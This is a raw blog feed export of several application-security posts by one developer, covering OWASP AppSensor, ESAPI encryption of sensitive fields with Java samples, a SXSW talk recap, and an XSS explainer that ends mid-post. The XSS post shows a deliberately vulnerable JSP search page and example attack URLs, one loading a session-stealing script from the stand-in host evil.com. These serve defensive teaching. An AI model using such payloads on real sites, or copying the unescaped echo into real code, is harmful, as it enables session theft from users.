&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibDkY8h6sH-ZA3SeNNxQ4tcbvlt21eEgh7zsbVAIAKYoqIEHXHLNIDF1i4twofhQtvVqUJlzX8TkYHZ8ttdOr_pj90OUTV-3leRLZm8UlD8x0-PvEQMO1Gs8KBSxsQjixoCPa251pYj1ur/s1600/AppSensor-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;106&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibDkY8h6sH-ZA3SeNNxQ4tcbvlt21eEgh7zsbVAIAKYoqIEHXHLNIDF1i4twofhQtvVqUJlzX8TkYHZ8ttdOr_pj90OUTV-3leRLZm8UlD8x0-PvEQMO1Gs8KBSxsQjixoCPa251pYj1ur/s320/AppSensor-Logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;u&gt;Introducing AppSensor&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Some friends at OWASP took the ESAPI Intrusion Detector and some ideas that they had and built one of the most powerful application layer intrusion detection and prevention components available today. This project, called &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_AppSensor_Project&quot; target=&quot;_blank&quot;&gt;AppSensor &lt;/a&gt;- is built on top of ESAPI so it integrates&amp;nbsp;seamlessly with ESAPI and provides fantastic protection to your application. I highly recommend using AppSensor for anything other than the most basic of intrusion detection and prevention needs.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;object class=&quot;BLOGGER-youtube-video&quot; classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; data-thumbnail-src=&quot;http://1.gvt0.com/vi/6gxg_t2ybcE/0.jpg&quot; height=&quot;266&quot; width=&quot;320&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/6gxg_t2ybcE&amp;fs=1&amp;source=uds&quot; /&gt;



&lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&gt;



&lt;embed width=&quot;320&quot; height=&quot;266&quot;  src=&quot;http://www.youtube.com/v/6gxg_t2ybcE&amp;fs=1&amp;source=uds&quot; type=&quot;application/x-shockwave-flash&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;
&lt;br /&gt;
AppSensor builds on the ESAPI Intrusion Detection component to integrate a state of the art application layer intrusion detection solution that is &quot;ESAPI-Aware&quot; - that is, it is aware of and interacts with various ESAPI components.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;What Does it all Mean?&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
To some it all up - it is your right and your responsibility to ensure the safety of your clients and partners while they are using your applications. Understanding user behavior and recognizing key indicators is the key to stopping attackers before they can attack you and your users and the key to understanding user behavior lies in establishing a flexible application layer intrusion prevention solution.&lt;br /&gt;
&lt;br /&gt;
Stay tuned for #3 in this series - Fix Your URL.&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/7048644703573281306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-become-big-brother.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/7048644703573281306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/7048644703573281306'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-become-big-brother.html' title='T5WTPYAFGP - Become Big Brother'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s72-c/331222647_f7dd123418_z.jpg" height="72" width="72"/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-8145140237477528676</id><published>2012-03-18T12:37:00.000-06:00</published><updated>2012-03-22T10:35:06.375-06:00</updated><title type='text'>T5WTPYAFGP - Encrypt Sensitive Information</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s1600/331222647_f7dd123418_z.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s200/331222647_f7dd123418_z.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
At &lt;a href=&quot;http://sxsw.com/&quot; target=&quot;_blank&quot;&gt;South by Southwest&lt;/a&gt;&amp;nbsp;this year, during my talk &lt;a href=&quot;http://portal.sliderocket.com/BLXKW/ESAPI&quot; target=&quot;_blank&quot;&gt;Defense Against The Dark Arts - ESAPI&lt;/a&gt;&amp;nbsp;I covered the &quot;Top 5 Ways To Protect Your Application From Getting Pwnd&quot; [T5WTPYAFGP]. After a couple offline conversations I decided that this would make an excellent series of follow-up blog posts so what follows is the adaptation of that presentation material from that talk. Unlike a lot of other Top-N lists, the goal of this one is not to iterate the flaws, but rather to iterate the solutions.&lt;br /&gt;
&lt;br /&gt;
Additionally&amp;nbsp;each post includes some samples on how you can use &lt;a href=&quot;http://www.esapi.org/&quot; target=&quot;_blank&quot;&gt;ESAPI&lt;/a&gt;&amp;nbsp;to implement the solutions discussed and gives us the opportunity to dive into each area a little deeper than we were able to in a one-hour presentation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can use the navigation below to navigate between each of the posts.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;[5] Encrypt Sensitive Information [current]&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;a href=&quot;http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-become-big-brother.html&quot; target=&quot;_blank&quot;&gt;[4] Become Big Brother&lt;/a&gt;&lt;/u&gt;&lt;br /&gt;
&lt;a href=&quot;http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-fix-your-url.html&quot; target=&quot;_blank&quot;&gt;[3] Fix Your URL&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHQ6u6LnVdueqtyFwRtMSf6IuAhqKiL2LMotVMs0ih8Oa95P_Y0XP-NJ4gUmuoCcN5_rWyJ_V_a3_x2QlCy1N6y4kVI0mSAhwsyR1CRGCebPL6ZDzIipLmqrUdtZr-qWiaSMBLI8NcTlam/s1600/encryption.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHQ6u6LnVdueqtyFwRtMSf6IuAhqKiL2LMotVMs0ih8Oa95P_Y0XP-NJ4gUmuoCcN5_rWyJ_V_a3_x2QlCy1N6y4kVI0mSAhwsyR1CRGCebPL6ZDzIipLmqrUdtZr-qWiaSMBLI8NcTlam/s200/encryption.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;5. Encrypt Sensitive Information&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Number five on our list is to encrypt sensitive information. To understand this one we first need to define what actually constitutes sensitive information.&lt;br /&gt;
&lt;br /&gt;
Most organizations that store credit card numbers are (hopefully) storing those credit card numbers in an encrypted format already, but what about the rest of the information that is stored. Think about your own organization or application - what information do you collect from your users?&lt;br /&gt;
&lt;br /&gt;
According to published information, anything that is personally identifiable information, financial information, or medical information is to considered sensitive data and should be treated accordingly. Any organization that has to deal with standards verification will generally check the box for storage of sensitive information as long as that information is stored on an encrypted volume. This protects your customers from physical theft but what about run-time theft, which accounts for most of the largest breaches that&amp;nbsp;occurred&amp;nbsp;last year.&lt;br /&gt;
&lt;br /&gt;
The key is to examine the risk for your application, determine what information would be damaging to release for your customers, and encrypt that data at rest. A lot of organizations simply don&#39;t want to incur the performance penalties of performing encryption and decryption of client data but some things are simply too important to ignore.&lt;br /&gt;
&lt;br /&gt;
There are a number of ways to help mitigate the performance impact of using encryption in an application &amp;nbsp;and we will cover a few of them in this post.&lt;br /&gt;
&lt;br /&gt;
The important thing is that once you have encryption configured (ie you have selected a provider and algorythm) actually performing the encryption and decryption of sensitive information is incredibly simple.
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;// Populate User Object from Request
// ...
// Encrypt Sensitive Information
CipherText encryptedSSN = ESAPI.encryptor().encrypt(new PlainText(userInfo.getSSN()));
userInfo.setSSN(new String(encryptedSSN.asPortableSerializedByteArray());
// Persist User Object
// ...&lt;/pre&gt;
&lt;br /&gt;
To decrypt the data is just as simple.
&lt;br /&gt;
&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;// Retrieve persisted User Object
// ...
// Decrypt Sensitive Information
CipherText encryptedSSN = CipherText.fromPortableSerializedBytes(user.getSSN());
PlainText decryptedSSN = ESAPI.encryptor().decrypt(encryptedSSN);
userInfo.setSSN(decryptedSSN.toString());
// Prepare User Object for use in application
// ...&lt;/pre&gt;
&lt;br /&gt;
Of course this can be abstracted into a service, added as an annotation processor in your persistence layer, and altered to be used in a more generic form that meets your specific platform needs. Additionally, depending on the type of information you are dealing with and the perceived risk of that information being leaked - it may make sense for the data to be encrypted &lt;u style=&quot;font-weight: bold;&quot;&gt;all the time&lt;/u&gt;&amp;nbsp;until it needs to be viewed or altered on the front end. This approach can also increase performance of the encryption and decryption because you are only ever performing this step when it is needed.&lt;br /&gt;
&lt;br /&gt;
A comprehensive design is a little beyond the scope of this post, but when I do design I like to envision the end goal - that is what will the object I am protecting look like when I am done. To take the concept of the UserInfo object - here is what I envision as the end results:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;public class UserInfo implements Serializable {
   private final static long serialVersionID = 1L;

   private Long id;
   private String username;

   // This field will be stored in-memory and persisted as a hashed value using SHA-256 
   @Sensative(type=SensitiveDataProtection.Type.HASH,
              algo=SensitiveDataProtection.Algo.SHA256
              mode=SensitiveDataProtection.Mode.RUNTIME)
   private String password;

   // This field will be stored in-memory and persisted as an encrypted value using the SecretKey &quot;UserData.SSN&quot; for encryption and decryption
   @Sensitive(type=SensitiveDataProtection.Type.ENCRYPTED,
              key=&quot;UserData.SSN&quot;,
              mode=&quot;SensitiveDataProtection.Mode.RUNTIME)
   private String ssn;

   // This field will be persisted as an encrypted value using the Master SecretKey but will be stored in-memory as a PlainText representation
   @Sensitive(type=SensitiveDataProtection.Type.ENCRYPTED,
              mode=SensitiveDataProtection.Mode.PERSIST)
   private String address;
}&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
This looks pretty simple to implement for a developer and seems to address a lot of design needs, particularly the need to apply encryption only at the point where it is required. Annotations aren&#39;t for everyone however, so how can we accomplish a similar design goal without using Annotations?
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;public class UserInto implements Serializable {
   private final static long serialVersionID = 1L;

   private Long id;
   private String username;

   // This field will be stored in-memory and persisted as a hashed string
   private HashString password;
   // This field will be stored in-memory and persisted as an encrypted string
   private CipherText ssn;
   // This field will be persisted as an encrypted string
   private PlainText address;
}
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
This example relies on the usage of data-types to specify the behavior of the data. While this breaks some rules in the world of design, it illustrates a possible solution to the problem.&lt;br /&gt;
&lt;br /&gt;
Now do not be fooled into thinking that these solutions are simple to implement, they aren&#39;t - however the benefit of centralizing a standard control to perform this work is that you only have to write it once, you only have to maintain it in one place, and every developer of your application doesn&#39;t have to understand how the process works, just that it does.&lt;br /&gt;
&lt;br /&gt;
In closing, here are each of the steps you should perform to address this problem and resolve it.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Identify sensitive data in your application&lt;/li&gt;
&lt;li&gt;Design and implement a standard and centralized control&lt;/li&gt;
&lt;li&gt;Apply encryption to sensitive data in your application&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Stay tuned for #4 on our top 5 list &quot;&lt;a href=&quot;http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-fix-your-url.html&quot; target=&quot;_blank&quot;&gt;Become Big Brother&lt;/a&gt;&quot;!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/8145140237477528676/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-encrypt-sensitive.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/8145140237477528676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/8145140237477528676'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-encrypt-sensitive.html' title='T5WTPYAFGP - Encrypt Sensitive Information'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s72-c/331222647_f7dd123418_z.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-8415657368563653974</id><published>2012-03-15T00:14:00.000-06:00</published><updated>2012-03-19T15:44:41.466-06:00</updated><title type='text'>SXSW - Defense Against the Dark Arts</title><content type='html'>So I just arrived back home after a great time in Austin, TX for &lt;a href=&quot;http://sxsw.com/interactive&quot; target=&quot;_blank&quot;&gt;South by Southwest Interactive&lt;/a&gt; where I spoke about &lt;a href=&quot;http://www.esapi.org/&quot; target=&quot;_blank&quot;&gt;ESAPI&lt;/a&gt;. I have given several versions of this talk in various forms over the last couple years but this is the first time I have ventured outside of the security community to get this information in front of a different audience. When I submitted the talk for consideration, I really didn&#39;t have high expectations of &lt;a href=&quot;http://schedule.sxsw.com/2012/events/event_IAP9143&quot; target=&quot;_blank&quot;&gt;the talk&lt;/a&gt; getting picked - and when I got notification that some other talks had cancelled and they had selected the talk for SXSW I was not only extremely excited but, incredibly surprised! I was excited for a lot of reasons, as a musician I have wanted to attend SXSW for many years; as a public speaker I was excited to have speaking at such a large and respected event under my belt and as a security evangelist I was excited to put this material in front of a new and entirely different audience.&lt;br /&gt;
&lt;br /&gt;
As I got my confirmed time slot I was a little put off. I was to give the last presentation of the interactive conference at one of the&amp;nbsp;auxiliary&amp;nbsp;campuses. As expected, there was a number of people that were interested in the talk, but either couldn&#39;t make the time slot or didn&#39;t want to travel to the venue for the talk. Additionally, the room was the largest at the venue - combined with the smaller draw I was concerned that I would start losing the people that had made the trek.&lt;br /&gt;
&lt;br /&gt;
I was pleasantly surprised at the immediate interaction with the small audience and it turned out to be a very great intimate presentation and conversation with a very interested party. The questions and feedback from the audience was fantastic and even though their was about a 50/50 split of technical and non-technical people present everyone seemed to follow and participated in the conversation.&lt;br /&gt;
&lt;br /&gt;
There were a few lessons learned from this experience - the most important was that at a conference the size of SXSW it is important to do plenty of your own promotion for your talk. I was ill-prepared for doing a great deal of my own promotion and quickly found myself wishing I had prepared a handbill that I could give out to all the people that I was talking to about the presentation while wandering around the trade show and parties. Most everybody that I spoke with seemed interested in the talk and asked questions about it - most of them even expressed interest in attending the talk, but when there are 20-30 talks scheduled at the same time throughout some 5-7 venues throughout downtown Austin, unless there is something that I can hand them to remind them to add the talk to their personal schedule it passes from memory quickly due to the sheer amount of conversations had. I also found myself wishing that I had made arrangements to have the talk video-recorded. I was initially under the impression that all interactive talks were being video recorded but found out that was not the case.&lt;br /&gt;
&lt;br /&gt;
The SXSW volunteer staff was awesome, while in the green room we had access to technical staff and logistics staff to make sure that we had everything in order for our presentation with plenty of time to spare so there was no last minute scrambling. Any questions that they could not answer themselves were quickly answered when they could make a quick phone call.&lt;br /&gt;
&lt;br /&gt;
All of the presentations will eventually be on the interactive podcasts page on &lt;a href=&quot;http://sxsw.com/&quot;&gt;sxsw.com&lt;/a&gt; - as soon as a link becomes available I will update this post with that link. In the meantime, the slides for the presentation are available online - and a paper with some details to accompany the slides will be available tomorrow.&lt;br /&gt;
&lt;br /&gt;
Presentation Podcast: [Coming Soon]&lt;br /&gt;
Presentation Slides:&amp;nbsp;&lt;a href=&quot;http://portal.sliderocket.com/BLXKW/ESAPI&quot;&gt;http://portal.sliderocket.com/BLXKW/ESAPI&lt;/a&gt;&lt;br /&gt;
Presentation Paper:&amp;nbsp;&lt;a href=&quot;http://yet-another-dev.blogspot.com/p/datda.html&quot;&gt;http://yet-another-dev.blogspot.com/p/datda.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In conclusion, this was an extremely rewarding and humbling experience and has shown me that there are people outside of the security and OWASP communities that are thirsty for this information. I eagerly anticipate my next opportunity to present secure development and ESAPI to more and more communities.</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/8415657368563653974/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2012/03/sxsw-defense-against-dark-arts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/8415657368563653974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/8415657368563653974'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2012/03/sxsw-defense-against-dark-arts.html' title='SXSW - Defense Against the Dark Arts'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-9011386807348192059</id><published>2011-09-08T16:44:00.001-06:00</published><updated>2011-09-09T14:47:08.163-06:00</updated><title type='text'>XSS - Validation vs. Encoding</title><content type='html'>I seem to have sparked another one of those lively internet conversations that I tend to spark from time to time. This time, the topic of debate was on mitigating XSS. I posted a &lt;a href=&quot;http://twitter.com/#%21/carne/status/111699261317582848&quot;&gt;response&lt;/a&gt; to a series of articles that I have read lately that either imply or&amp;nbsp;blatantly&amp;nbsp;state that Input Validation is the proper way to mitigate XSS. I whole-heartedly disagree with this assertion.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;What is Cross-Site Scripting&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Personally, I have always thought this is a horrible name for this vulnerability. The attack is performed by exploiting a vulnerability local to the codebase of the application. The Cross-Site part of XSS is really about the impact of the vulnerability rather than the vulnerability itself. An attacker can leverage weak security on a vulnerable site to include a payload hosted on another site.&lt;br /&gt;
&lt;br /&gt;
That being said; XSS can be defined as a vulnerability that occurs when an attacker is able to break out of a &lt;u&gt;data&lt;/u&gt;&amp;nbsp;context and &lt;u&gt;execute&lt;/u&gt;&amp;nbsp;arbitrary code using crafted data. More simply put, XSS is nothing more than a &lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: magenta;&quot;&gt;buzz-word&lt;/span&gt;&lt;/b&gt; for a specific type of &lt;u&gt;Command Injection&lt;/u&gt;&amp;nbsp;vulnerability. Let&#39;s examine:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;html&quot; name=&quot;code&quot;&gt;&amp;lt;!-- /search.jsp --&amp;gt;
&amp;lt;div id=&quot;my-custom-div&quot;&amp;gt;
   Your search for ${request.getParameter(&quot;q&quot;)} returned &#39;${results.size}&#39; results
&amp;lt;/div&amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;What could go wrong here? 
&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;http://my.server.com/search.jsp?q=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;
http://my.server.com/search.jsp?q=&amp;lt;script src=&quot;http://evil.com/steal-session.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;br /&gt;
These are some very naive attacks that can work. Also, notice - I have also illustrated the Cross-Site part of the Cross-Site Scripting vulnerability in my second example. This is a cross-site payload to a command injection vulnerability as the vulnerability is not the cross-site part of it at all, in fact; the script tag acts exactly as it is specified to.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Data vs Execution Context&lt;/b&gt;&lt;br /&gt;
This is a subject that has been covered a hundred million times before by people a lot smarter than me, so I will provide a brief summary on what this means in the context of XSS:&lt;br /&gt;
&lt;br /&gt;
Legend: &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;Execution&lt;/span&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: orange;&quot;&gt;Environment&lt;/span&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;Data&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;HTML Context:&lt;/u&gt;&lt;br /&gt;
&amp;lt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: orange;&quot;&gt;parameter&lt;/span&gt;=&quot;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;&quot; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: orange;&quot;&gt;parameter&lt;/span&gt;=&quot;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;&quot;&amp;gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;&amp;lt;ommand&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Javascript Context:&lt;/u&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;command&lt;/span&gt;(&quot;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: orange;&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;var_name&lt;/span&gt;=&quot;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Style Context:&lt;/u&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: orange;&quot;&gt;selector&lt;/span&gt; {&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;attr&lt;/span&gt;: &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;attr&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;(data);&lt;/span&gt;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Highly Dilluted Context:&lt;/u&gt;&lt;br /&gt;
&amp;lt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: orange;&quot;&gt;style&lt;/span&gt;=&quot;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;attr&lt;/span&gt;: &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;command&lt;/span&gt;(&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;)&quot; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: orange;&quot;&gt;onclick&lt;/span&gt;=&quot;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;command&lt;/span&gt;(&#39;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;&#39;)&quot; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: orange;&quot;&gt;param&lt;/span&gt;=&quot;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;&quot;&amp;gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;data&lt;/span&gt;&amp;lt;command&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now that we have that covered, let&#39;s move into each exhibit one by one.&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Exhibit A: Standard Run-Of-The-Mill XSS&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
This is your mommy and daddy&#39;s XSS vector. The most common type of XSS there is on the web today and&amp;nbsp;coincidentally&amp;nbsp;the easiest to mitigate. This is the &lt;i style=&quot;font-weight: bold;&quot;&gt;&lt;u&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29&quot;&gt;Reflective XSS&lt;/a&gt;&lt;/u&gt;&amp;nbsp;&lt;/i&gt;that was not only the grand-daddy of all other XSS vectors but is still the most prevalent type of XSS issue that I find in the wild. This type of XSS is also illustrated perfectly in the above example.&lt;br /&gt;
&lt;br /&gt;
By accepting untrusted input that can be modified by the end-user and rendering that input directly to the view we have created our vulnerability. An attacker can break out of the data context simply by embedding a command in the data being submitted.&lt;br /&gt;
&lt;br /&gt;
